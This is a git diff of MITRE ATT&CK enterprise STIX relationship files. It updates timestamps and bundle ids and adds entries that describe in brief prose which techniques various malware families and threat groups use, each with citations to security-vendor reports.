             "id": "relationship--d75ee2bd-801c-4521-8d70-f5e2d64c87f9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.053Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "target_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
diff --git a/enterprise-attack/relationship/relationship--d7699bcf-5732-40f5-a715-d430b00b043e.json b/enterprise-attack/relationship/relationship--d7699bcf-5732-40f5-a715-d430b00b043e.json
index 8e0ad7d2eb..687f917575 100644
--- a/enterprise-attack/relationship/relationship--d7699bcf-5732-40f5-a715-d430b00b043e.json
+++ b/enterprise-attack/relationship/relationship--d7699bcf-5732-40f5-a715-d430b00b043e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c7bca4c-d675-4447-8ea4-d9ee912045b8",
+    "id": "bundle--f87506ea-fb6d-492e-9bd5-8cd1eb49159d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d7699bcf-5732-40f5-a715-d430b00b043e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Mivast has the capability to download and execute .exe files.",
             "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3",
diff --git a/enterprise-attack/relationship/relationship--d77a4123-3d46-4317-8921-f6eb8c34c585.json b/enterprise-attack/relationship/relationship--d77a4123-3d46-4317-8921-f6eb8c34c585.json
index d58613749b..7929e8e1ec 100644
--- a/enterprise-attack/relationship/relationship--d77a4123-3d46-4317-8921-f6eb8c34c585.json
+++ b/enterprise-attack/relationship/relationship--d77a4123-3d46-4317-8921-f6eb8c34c585.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af50e5f1-85c9-49be-8906-feace93be89b",
+    "id": "bundle--9d9ca3e8-df19-4b9a-82fc-ac73ada0c679",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d77a4123-3d46-4317-8921-f6eb8c34c585",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke collects user files from the compromised host based on predefined file extensions.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
diff --git a/enterprise-attack/relationship/relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f.json b/enterprise-attack/relationship/relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f.json
index c5186e5244..bb2a97368d 100644
--- a/enterprise-attack/relationship/relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f.json
+++ b/enterprise-attack/relationship/relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a32790b4-8dca-4f18-934a-61fadc27d109",
+    "id": "bundle--762a41f0-3b52-4c9c-b561-09ac3c895f88",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can obtain information about security software on the victim.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561.json b/enterprise-attack/relationship/relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561.json
new file mode 100644
index 0000000000..85cd241587
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f88df8d3-3894-488c-81e7-a4eb1aae7a89",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "communicates to its C2 server over HTTP.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1.json b/enterprise-attack/relationship/relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1.json
index 7c31bf6419..efeee823ec 100644
--- a/enterprise-attack/relationship/relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1.json
+++ b/enterprise-attack/relationship/relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee79857f-c218-4794-b0e4-06afc06f0cf4",
+    "id": "bundle--d34366ae-8cef-438e-9be8-7b10b1e550f8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Hikit supports peer connections.",
             "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
diff --git a/enterprise-attack/relationship/relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61.json b/enterprise-attack/relationship/relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61.json
new file mode 100644
index 0000000000..7163912a1c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--925de719-ec07-4cd3-aaf8-c0c3a8e729b5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has used various tools to download files, including DGet (a similar tool to wget).",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d.json b/enterprise-attack/relationship/relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d.json
index 4ee77acf64..c7e8d16312 100644
--- a/enterprise-attack/relationship/relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d.json
+++ b/enterprise-attack/relationship/relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b6e8cc9-372c-4206-8ba6-6eca5ff0efe6",
+    "id": "bundle--8bb3ae7f-9e40-4ecc-9135-09881539c331",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "cmd can be used to delete files from the file system.",
             "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5.json b/enterprise-attack/relationship/relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5.json
index cc7c771635..71d3e89e3f 100644
--- a/enterprise-attack/relationship/relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5.json
+++ b/enterprise-attack/relationship/relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9992714c-30fc-41d1-bb8a-f2a78a04caf8",
+    "id": "bundle--390269e2-770d-49a1-a27f-bf7183202245",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of using HTTP, HTTPS, SMTP, and DNS for C2.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b.json b/enterprise-attack/relationship/relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b.json
new file mode 100644
index 0000000000..4df5ab7e4d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6f1f9bca-97c2-461d-80ee-21acc1edcdc6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "discovers the current domain information .",
+            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc.json b/enterprise-attack/relationship/relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc.json
index bac76d5331..f90f513fa1 100644
--- a/enterprise-attack/relationship/relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc.json
+++ b/enterprise-attack/relationship/relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c4910da-36c3-45b8-8ec1-87faa0abb8bf",
+    "id": "bundle--8b9769b9-a8ba-4290-a3e9-0826b9da54bb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d8a7ec97-b262-489d-bc4b-e2c7007f75bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Psylo has a command to conduct timestomping by setting a specified file\u2019s timestamps to match those of a system file in the System32 directory.",
             "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
diff --git a/enterprise-attack/relationship/relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe.json b/enterprise-attack/relationship/relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe.json
index bb59b2d0d1..d3bdc30f3b 100644
--- a/enterprise-attack/relationship/relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe.json
+++ b/enterprise-attack/relationship/relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4f4b8486-9c87-43c0-ada4-d1c50e2b0584",
+    "id": "bundle--924d3825-e889-49e1-b50f-ad1e3d8ca323",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d8abe157-f6cd-4959-b9d5-e0c87d16bcfe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL exfiltrates data over the same channel used for C2.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--d8ac067b-f246-40bb-98bd-fcff74092139.json b/enterprise-attack/relationship/relationship--d8ac067b-f246-40bb-98bd-fcff74092139.json
index 6be1ecf56e..7477213dbb 100644
--- a/enterprise-attack/relationship/relationship--d8ac067b-f246-40bb-98bd-fcff74092139.json
+++ b/enterprise-attack/relationship/relationship--d8ac067b-f246-40bb-98bd-fcff74092139.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c3aa1e1-4e90-4304-9450-25dc0c757a7e",
+    "id": "bundle--acaa18d7-0dbb-424e-b44d-0f17e18f590b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d8ac067b-f246-40bb-98bd-fcff74092139",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke exfiltrates collected files automatically over FTP to remote servers.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0.json b/enterprise-attack/relationship/relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0.json
index d2b4b813ec..2931fe4d3b 100644
--- a/enterprise-attack/relationship/relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0.json
+++ b/enterprise-attack/relationship/relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--96ec79e7-6ef9-40f8-883b-55365815c7e1",
+    "id": "bundle--43c8182d-2db0-4c7d-93a5-e6edf0b91d82",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
diff --git a/enterprise-attack/relationship/relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1.json b/enterprise-attack/relationship/relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1.json
new file mode 100644
index 0000000000..a3d4b9fdf2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9690549e-7d9c-4bb9-836d-97cba732b7ec",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>tasklist</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e.json b/enterprise-attack/relationship/relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e.json
index ca5c3ba404..79c3881e44 100644
--- a/enterprise-attack/relationship/relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e.json
+++ b/enterprise-attack/relationship/relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aec0abdc-ccde-4bd6-a0b3-f7f7d8ac4c52",
+    "id": "bundle--1b78d49b-0c84-4962-b761-32cd6b106aa1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot contains keylogger functionality.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5.json b/enterprise-attack/relationship/relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5.json
index c2a5eecc90..c9cc8dfc26 100644
--- a/enterprise-attack/relationship/relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5.json
+++ b/enterprise-attack/relationship/relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--962c2f13-4a0e-47f9-aa2e-562253e4cf8b",
+    "id": "bundle--c172d0f2-07f7-452f-b48e-8845ff05ace2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--d92b5b68-4c3e-436f-a922-997467831409.json b/enterprise-attack/relationship/relationship--d92b5b68-4c3e-436f-a922-997467831409.json
index 200f3b12af..39d962706e 100644
--- a/enterprise-attack/relationship/relationship--d92b5b68-4c3e-436f-a922-997467831409.json
+++ b/enterprise-attack/relationship/relationship--d92b5b68-4c3e-436f-a922-997467831409.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e93da6f2-90cf-471c-b426-4a249947b9e4",
+    "id": "bundle--52031ddc-1ccb-4cbf-ba45-aa56bc12df64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d92b5b68-4c3e-436f-a922-997467831409",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Mebromi performs BIOS modification and can download and execute a file as well as protect itself from removal.",
             "source_ref": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec",
diff --git a/enterprise-attack/relationship/relationship--d93265a6-1f92-472b-9e47-48b7863d8171.json b/enterprise-attack/relationship/relationship--d93265a6-1f92-472b-9e47-48b7863d8171.json
new file mode 100644
index 0000000000..5b8e53c988
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--d93265a6-1f92-472b-9e47-48b7863d8171.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--038ecdea-4971-4de6-a114-92bf8ba73be6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--d93265a6-1f92-472b-9e47-48b7863d8171",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has used credential dumping tools.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c.json b/enterprise-attack/relationship/relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c.json
index fdcf6cbfe7..09b41982a6 100644
--- a/enterprise-attack/relationship/relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c.json
+++ b/enterprise-attack/relationship/relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df6f52d2-8816-481d-84af-b0d1b9d0880d",
+    "id": "bundle--44753683-bace-4647-b076-cf2dfc962448",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d9ae86e6-377b-45d5-b32c-89776fd7755c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
             "target_ref": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
diff --git a/enterprise-attack/relationship/relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26.json b/enterprise-attack/relationship/relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26.json
index 28b12f01e3..35afc33215 100644
--- a/enterprise-attack/relationship/relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26.json
+++ b/enterprise-attack/relationship/relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7fc35411-09ae-4ff0-a04a-20cd30aeadb0",
+    "id": "bundle--f58fc045-0e5f-4738-b47c-e7c227e90b79",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
             "target_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
diff --git a/enterprise-attack/relationship/relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99.json b/enterprise-attack/relationship/relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99.json
index c247cb42f0..8f27c84c45 100644
--- a/enterprise-attack/relationship/relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99.json
+++ b/enterprise-attack/relationship/relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dacb80fe-129a-4f48-ba94-557ca5c2b328",
+    "id": "bundle--97ec60dd-6337-4bd3-af7b-68111e96f9b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d9e8d70a-06f6-4873-baf8-29ebfaf6bf99",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MiniDuke uses HTTP and HTTPS for command and control.",
             "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c",
diff --git a/enterprise-attack/relationship/relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2.json b/enterprise-attack/relationship/relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2.json
index 2857825103..6ca942fca1 100644
--- a/enterprise-attack/relationship/relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2.json
+++ b/enterprise-attack/relationship/relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c6aeb032-d180-463f-8dd9-061a5baa0673",
+    "id": "bundle--3401cda3-4a86-47b9-a379-cba5a3d5b7f1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da1a5240-bbd7-4e91-9dee-9b14df6cffe2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "One variant of BlackEnergy locates existing driver services that have been disabled and drops its driver component into one of those service's paths, replacing the legitimate executable. The malware then sets the hijacked service to start automatically to establish persistence.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--da395019-238a-4c4e-b4cd-43947e8aa019.json b/enterprise-attack/relationship/relationship--da395019-238a-4c4e-b4cd-43947e8aa019.json
index 0bdf783f0e..f215e1fc1d 100644
--- a/enterprise-attack/relationship/relationship--da395019-238a-4c4e-b4cd-43947e8aa019.json
+++ b/enterprise-attack/relationship/relationship--da395019-238a-4c4e-b4cd-43947e8aa019.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--92561efd-d8c9-4f07-9000-c28b47b25419",
+    "id": "bundle--9df807a5-d340-4378-8111-c95c727c3f4f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da395019-238a-4c4e-b4cd-43947e8aa019",
